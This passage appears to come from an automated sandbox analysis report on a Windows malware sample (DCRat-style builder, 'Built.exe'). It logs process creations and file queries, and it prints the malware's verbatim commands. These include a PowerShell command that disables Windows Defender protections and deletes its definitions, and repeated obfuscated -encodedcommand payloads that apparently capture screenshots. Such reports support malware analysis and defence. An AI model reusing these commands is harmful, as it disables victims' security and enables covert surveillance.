0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIAB
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\systeminfo.exe systeminfo
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\ym2mlmby\ym2mlmby.cmdline"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\attrib.exe attrib -r C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\attrib.exe attrib +r C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FO LIST
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESF33B.tmp" "c:\Users\user\AppData\Local\Temp\ym2mlmby\CSCF71E4593383143BF89859CE8A82A5373.TMP"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\agentInto\fontsessionruntime.exe "C:\agentInto\fontsessionruntime.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\getmac.exe getmac
Source: C:\agentInto\fontsessionruntime.exe	Process created: unknown unknown

Source: C:\Users\user\AppData\Local\Temp\Built.exe	Process created: C:\Windows\System32\cmd.exe c:\windows\system32\cmd.exe /c "powershell set-mppreference -disableintrusionpreventionsystem $true -disableioavprotection $true -disablerealtimemonitoring $true -disablescriptscanning $true -enablecontrolledfolderaccess disabled -enablenetworkprotection auditmode -force -mapsreporting disabled -submitsamplesconsent neversend && powershell set-mppreference -submitsamplesconsent 2 & "%programfiles%\windows defender\mpcmdrun.exe" -removedefinitions -all"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell set-mppreference -disableintrusionpreventionsystem $true -disableioavprotection $true -disablerealtimemonitoring $true -disablescriptscanning $true -enablecontrolledfolderaccess disabled -enablenetworkprotection auditmode -force -mapsreporting disabled -submitsamplesconsent neversend
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Process created: C:\Windows\System32\cmd.exe c:\windows\system32\cmd.exe /c "powershell.exe -noprofile -executionpolicy bypass -encodedcommand jabzag8adqbyagmazqagad0aiabaaciadqakahuacwbpag4azwagafmaeqbzahqazqbtadsadqakahuacwbpag4azwagafmaeqbzahqazqbtac4aqwbvagwabablagmadabpag8abgbzac4arwblag4azqbyagkaywa7aa0acgb1ahmaaqbuagcaiabtahkacwb0aguabqauaeqacgbhahcaaqbuagcaowanaaoadqbzagkabgbnacaauwb5ahmadablag0algbxagkabgbkag8adwbzac4argbvahiabqbzadsadqakaa0acgbwahuaygbsagkaywagagmababhahmacwagafmaywbyaguazqbuahmaaabvahqadqakahsadqakacaaiaagacaacab1agiababpagmaiabzahqayqb0agkaywagaewaaqbzahqapabcagkadabtageacaa+acaaqwbhahaadab1ahiazqbtagmacgblaguabgbzacgakqanaaoaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaadgbhahiaiabyaguacwb1agwadabzacaapqagag4azqb3acaatabpahmadaa8aeiaaqb0ag0ayqbwad4akaapadsadqakacaaiaagacaaiaagacaaiab2ageacgagageababsafmaywbyaguazqbuahmaiaa9acaauwbjahiazqblag4algbbagwababtagmacgblaguabgbzadsadqakaa0acgagacaaiaagacaaiaagacaazgbvahiazqbhagmaaaagacgauwbjahiazqblag4aiabzagmacgblaguabgagagkabgagageababsafmaywbyaguazqbuahmakqanaaoaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagahqacgb5aa0acgagacaaiaagacaaiaagacaaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagafiazqbjahqayqbuagcabablacaaygbvahuabgbkahmaiaa9acaacwbjahiazqblag4algbcag8adqbuagqacwa7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahuacwbpag4azwagacgaqgbpahqabqbhahaaiabiagkadabtageacaagad0aiabuaguadwagaeiaaqb0ag0ayqbwacgaygbvahuabgbkahmalgbxagkazab0aggalaagagiabwb1ag4azabzac4asablagkazwboahqakqapaa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiab1ahmaaqbuagcaiaaoaecacgbhahaaaabpagmacwagagcacgbhahaaaabpagmacwagad0aiabhahiayqbwaggaaqbjahmalgbgahiabwbtaekabqbhagcazqaoagiaaqb0ag0ayqbwackakqanaaoaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagagcacgbhahaaaabpagmacwauaemabwbwahkargbyag8abqbtagmacgblaguabgaoag4azqb3acaauabvagkabgb0acgaygbvahuabgbkahmalgbmaguazgb0acwaiabiag8adqbuagqacwauafqabwbwackalaagafaabwbpag4adaauaeuabqbwahqaeqasacaaygbvahuabgbkahmalgbtagkaegblackaowanaaoaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagah0adqakaa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaacgblahmadqbsahqacwauaeeazabkacgakabcagkadabtageacaapagiaaqb0ag0ayqbwac4aqwbsag8abgblacgakqapadsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagacaaiaagacaaywbhahqaywboacaakabfahgaywblahaadabpag8abgapaa0acgagacaaiaagacaaiaagacaaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagac8alwagaegayqbuagqabablacaayqbuahkaiablahgaywblahaadabpag8abgbzacaaaablahiazqanaaoaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagah0adqakaa0acgagacaaiaagacaaiaagacaacgblahqadqbyag4aiabyaguacwb1agwadabzadsadqakacaaiaagacaafqanaaoafqanaaoaigbaaa0acganaaoaqqbkagqalqbuahkacablacaalqbuahkacablaeqazqbmagkabgbpahqaaqbvag4aiaakahmabwb1ahiaywblacaalqbsaguazgblahiazqbuagmazqbkaeeacwbzaguabqbiagwaaqblahmaia
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -noprofile -executionpolicy bypass -encodedcommand jabzag8adqbyagmazqagad0aiabaaciadqakahuacwbpag4azwagafmaeqbzahqazqbtadsadqakahuacwbpag4azwagafmaeqbzahqazqbtac4aqwbvagwabablagmadabpag8abgbzac4arwblag4azqbyagkaywa7aa0acgb1ahmaaqbuagcaiabtahkacwb0aguabqauaeqacgbhahcaaqbuagcaowanaaoadqbzagkabgbnacaauwb5ahmadablag0algbxagkabgbkag8adwbzac4argbvahiabqbzadsadqakaa0acgbwahuaygbsagkaywagagmababhahmacwagafmaywbyaguazqbuahmaaabvahqadqakahsadqakacaaiaagacaacab1agiababpagmaiabzahqayqb0agkaywagaewaaqbzahqapabcagkadabtageacaa+acaaqwbhahaadab1ahiazqbtagmacgblaguabgbzacgakqanaaoaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaadgbhahiaiabyaguacwb1agwadabzacaapqagag4azqb3acaatabpahmadaa8aeiaaqb0ag0ayqbwad4akaapadsadqakacaaiaagacaaiaagacaaiab2ageacgagageababsafmaywbyaguazqbuahmaiaa9acaauwbjahiazqblag4algbbagwababtagmacgblaguabgbzadsadqakaa0acgagacaaiaagacaaiaagacaazgbvahiazqbhagmaaaagacgauwbjahiazqblag4aiabzagmacgblaguabgagagkabgagageababsafmaywbyaguazqbuahmakqanaaoaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagahqacgb5aa0acgagacaaiaagacaaiaagacaaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagafiazqbjahqayqbuagcabablacaaygbvahuabgbkahmaiaa9acaacwbjahiazqblag4algbcag8adqbuagqacwa7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahuacwbpag4azwagacgaqgbpahqabqbhahaaiabiagkadabtageacaagad0aiabuaguadwagaeiaaqb0ag0ayqbwacgaygbvahuabgbkahmalgbxagkazab0aggalaagagiabwb1ag4azabzac4asablagkazwboahqakqapaa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiab1ahmaaqbuagcaiaaoaecacgbhahaaaabpagmacwagagcacgbhahaaaabpagmacwagad0aiabhahiayqbwaggaaqbjahmalgbgahiabwbtaekabqbhagcazqaoagiaaqb0ag0ayqbwackakqanaaoaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagagcacgbhahaaaabpagmacwauaemabwbwahkargbyag8abqbtagmacgblaguabgaoag4azqb3acaauabvagkabgb0acgaygbvahuabgbkahmalgbmaguazgb0acwaiabiag8adqbuagqacwauafqabwbwackalaagafaabwbpag4adaauaeuabqbwahqaeqasacaaygbvahuabgbkahmalgbtagkaegblackaowanaaoaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagah0adqakaa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaacgblahmadqbsahqacwauaeeazabkacgakabcagkadabtageacaapagiaaqb0ag0ayqbwac4aqwbsag8abgblacgakqapadsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagacaaiaagacaaywbhahqaywboacaakabfahgaywblahaadabpag8abgapaa0acgagacaaiaagacaaiaagacaaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagac8alwagaegayqbuagqabablacaayqbuahkaiablahgaywblahaadabpag8abgbzacaaaablahiazqanaaoaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagah0adqakaa0acgagacaaiaagacaaiaagacaacgblahqadqbyag4aiabyaguacwb1agwadabzadsadqakacaaiaagacaafqanaaoafqanaaoaigbaaa0acganaaoaqqbkagqalqbuahkacablacaalqbuahkacablaeqazqbmagkabgbpahqaaqbvag4aiaakahmabwb1ahiaywblacaalqbsaguazgblahiazqbuagmazqbkaeeacwbzaguabqbiagwaaqblahmaiab
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Process created: C:\Windows\System32\cmd.exe c:\windows\system32\cmd.exe /c "powershell set-mppreference -disableintrusionpreventionsystem $true -disableioavprotection $true -disablerealtimemonitoring $true -disablescriptscanning $true -enablecontrolledfolderaccess disabled -enablenetworkprotection auditmode -force -mapsreporting disabled -submitsamplesconsent neversend && powershell set-mppreference -submitsamplesconsent 2 & "%programfiles%\windows defender\mpcmdrun.exe" -removedefinitions -all"
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Process created: C:\Windows\System32\cmd.exe c:\windows\system32\cmd.exe /c "powershell.exe -noprofile -executionpolicy bypass -encodedcommand jabzag8adqbyagmazqagad0aiabaaciadqakahuacwbpag4azwagafmaeqbzahqazqbtadsadqakahuacwbpag4azwagafmaeqbzahqazqbtac4aqwbvagwabablagmadabpag8abgbzac4arwblag4azqbyagkaywa7aa0acgb1ahmaaqbuagcaiabtahkacwb0aguabqauaeqacgbhahcaaqbuagcaowanaaoadqbzagkabgbnacaauwb5ahmadablag0algbxagkabgbkag8adwbzac4argbvahiabqbzadsadqakaa0acgbwahuaygbsagkaywagagmababhahmacwagafmaywbyaguazqbuahmaaabvahqadqakahsadqakacaaiaagacaacab1agiababpagmaiabzahqayqb0agkaywagaewaaqbzahqapabcagkadabtageacaa+acaaqwbhahaadab1ahiazqbtagmacgblaguabgbzacgakqanaaoaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaadgbhahiaiabyaguacwb1agwadabzacaapqagag4azqb3acaatabpahmadaa8aeiaaqb0ag0ayqbwad4akaapadsadqakacaaiaagacaaiaagacaaiab2ageacgagageababsafmaywbyaguazqbuahmaiaa9acaauwbjahiazqblag4algbbagwababtagmacgblaguabgbzadsadqakaa0acgagacaaiaagacaaiaagacaazgbvahiazqbhagmaaaagacgauwbjahiazqblag4aiabzagmacgblaguabgagagkabgagageababsafmaywbyaguazqbuahmakqanaaoaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagahqacgb5aa0acgagacaaiaagacaaiaagacaaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagafiazqbjahqayqbuagcabablacaaygbvahuabgbkahmaiaa9acaacwbjahiazqblag4algbcag8adqbuagqacwa7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahuacwbpag4azwagacgaqgbpahqabqbhahaaiabiagkadabtageacaagad0aiabuaguadwagaeiaaqb0ag0ayqbwacgaygbvahuabgbkahmalgbxagkazab0aggalaagagiabwb1ag4azabzac4asablagkazwboahqakqapaa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiab1ahmaaqbuagcaiaaoaecacgbhahaaaabpagmacwagagcacgbhahaaaabpagmacwagad0aiabhahiayqbwaggaaqbjahmalgbgahiabwbtaekabqbhagcazqaoagiaaqb0ag0ayqbwackakqanaaoaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagagcacgbhahaaaabpagmacwauaemabwbwahkargbyag8abqbtagmacgblaguabgaoag4azqb3acaauabvagkabgb0acgaygbvahuabgbkahmalgbmaguazgb0acwaiabiag8adqbuagqacwauafqabwbwackalaagafaabwbpag4adaauaeuabqbwahqaeqasacaaygbvahuabgbkahmalgbtagkaegblackaowanaaoaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagah0adqakaa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaacgblahmadqbsahqacwauaeeazabkacgakabcagkadabtageacaapagiaaqb0ag0ayqbwac4aqwbsag8abgblacgakqapadsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagacaaiaagacaaywbhahqaywboacaakabfahgaywblahaadabpag8abgapaa0acgagacaaiaagacaaiaagacaaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagac8alwagaegayqbuagqabablacaayqbuahkaiablahgaywblahaadabpag8abgbzacaaaablahiazqanaaoaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagah0adqakaa0acgagacaaiaagacaaiaagacaacgblahqadqbyag4aiabyaguacwb1agwadabzadsadqakacaaiaagacaafqanaaoafqanaaoaigbaaa0acganaaoaqqbkagqalqbuahkacablacaalqbuahkacablaeqazqbmagkabgbpahqaaqbvag4aiaakahmabwb1ahiaywblacaalqbsaguazgblahiazqbuagmazqbkaeeacwbzaguabqbiagwaaqblahmaia
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell set-mppreference -disableintrusionpreventionsystem $true -disableioavprotection $true -disablerealtimemonitoring $true -disablescriptscanning $true -enablecontrolledfolderaccess disabled -enablenetworkprotection auditmode -force -mapsreporting disabled -submitsamplesconsent neversend
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -noprofile -executionpolicy bypass -encodedcommand jabzag8adqbyagmazqagad0aiabaaciadqakahuacwbpag4azwagafmaeqbzahqazqbtadsadqakahuacwbpag4azwagafmaeqbzahqazqbtac4aqwbvagwabablagmadabpag8abgbzac4arwblag4azqbyagkaywa7aa0acgb1ahmaaqbuagcaiabtahkacwb0aguabqauaeqacgbhahcaaqbuagcaowanaaoadqbzagkabgbnacaauwb5ahmadablag0algbxagkabgbkag8adwbzac4argbvahiabqbzadsadqakaa0acgbwahuaygbsagkaywagagmababhahmacwagafmaywbyaguazqbuahmaaabvahqadqakahsadqakacaaiaagacaacab1agiababpagmaiabzahqayqb0agkaywagaewaaqbzahqapabcagkadabtageacaa+acaaqwbhahaadab1ahiazqbtagmacgblaguabgbzacgakqanaaoaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaadgbhahiaiabyaguacwb1agwadabzacaapqagag4azqb3acaatabpahmadaa8aeiaaqb0ag0ayqbwad4akaapadsadqakacaaiaagacaaiaagacaaiab2ageacgagageababsafmaywbyaguazqbuahmaiaa9acaauwbjahiazqblag4algbbagwababtagmacgblaguabgbzadsadqakaa0acgagacaaiaagacaaiaagacaazgbvahiazqbhagmaaaagacgauwbjahiazqblag4aiabzagmacgblaguabgagagkabgagageababsafmaywbyaguazqbuahmakqanaaoaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagahqacgb5aa0acgagacaaiaagacaaiaagacaaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagafiazqbjahqayqbuagcabablacaaygbvahuabgbkahmaiaa9acaacwbjahiazqblag4algbcag8adqbuagqacwa7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahuacwbpag4azwagacgaqgbpahqabqbhahaaiabiagkadabtageacaagad0aiabuaguadwagaeiaaqb0ag0ayqbwacgaygbvahuabgbkahmalgbxagkazab0aggalaagagiabwb1ag4azabzac4asablagkazwboahqakqapaa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiab1ahmaaqbuagcaiaaoaecacgbhahaaaabpagmacwagagcacgbhahaaaabpagmacwagad0aiabhahiayqbwaggaaqbjahmalgbgahiabwbtaekabqbhagcazqaoagiaaqb0ag0ayqbwackakqanaaoaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagagcacgbhahaaaabpagmacwauaemabwbwahkargbyag8abqbtagmacgblaguabgaoag4azqb3acaauabvagkabgb0acgaygbvahuabgbkahmalgbmaguazgb0acwaiabiag8adqbuagqacwauafqabwbwackalaagafaabwbpag4adaauaeuabqbwahqaeqasacaaygbvahuabgbkahmalgbtagkaegblackaowanaaoaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagah0adqakaa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaacgblahmadqbsahqacwauaeeazabkacgakabcagkadabtageacaapagiaaqb0ag0ayqbwac4aqwbsag8abgblacgakqapadsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagacaaiaagacaaywbhahqaywboacaakabfahgaywblahaadabpag8abgapaa0acgagacaaiaagacaaiaagacaaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagac8alwagaegayqbuagqabablacaayqbuahkaiablahgaywblahaadabpag8abgbzacaaaablahiazqanaaoaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagah0adqakaa0acgagacaaiaagacaaiaagacaacgblahqadqbyag4aiabyaguacwb1agwadabzadsadqakacaaiaagacaafqanaaoafqanaaoaigbaaa0acganaaoaqqbkagqalqbuahkacablacaalqbuahkacablaeqazqbmagkabgbpahqaaqbvag4aiaakahmabwb1ahiaywblacaalqbsaguazgblahiazqbuagmazqbkaeeacwbzaguabqbiagwaaqblahmaiab

Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe

Code function: 10_2_00FDED5B cpuid

10_2_00FDED5B

Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe

Code function: GetLocaleInfoW,GetNumberFormatW,

10_2_00FDA63C

Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IO.Compression.FileSystem\v4.0_4.0.0.0__b77a5c561934e089\System.IO.Compression.FileSystem.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IO.Compression\v4.0_4.0.0.0__b77a5c561934e089\System.IO.Compression.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6522\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6522\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6522\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6522\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6522\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6522\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6522\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6522\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6522\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6522\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6522\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6522\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Built.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Built.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6522\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6522\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6522 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6522 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6522 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6522 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6522\_ctypes.pyd VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Built.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6522 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Built.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Built.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6522\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6522\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6522\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6522\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6522\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6522\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6522\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6522\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6522\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6522\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6522\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6522\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6522\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6522\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6522\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6522\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6522\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6522\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6522\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6522\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6522\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6522\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6522\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6522\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6522\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Built.exe VolumeInformation
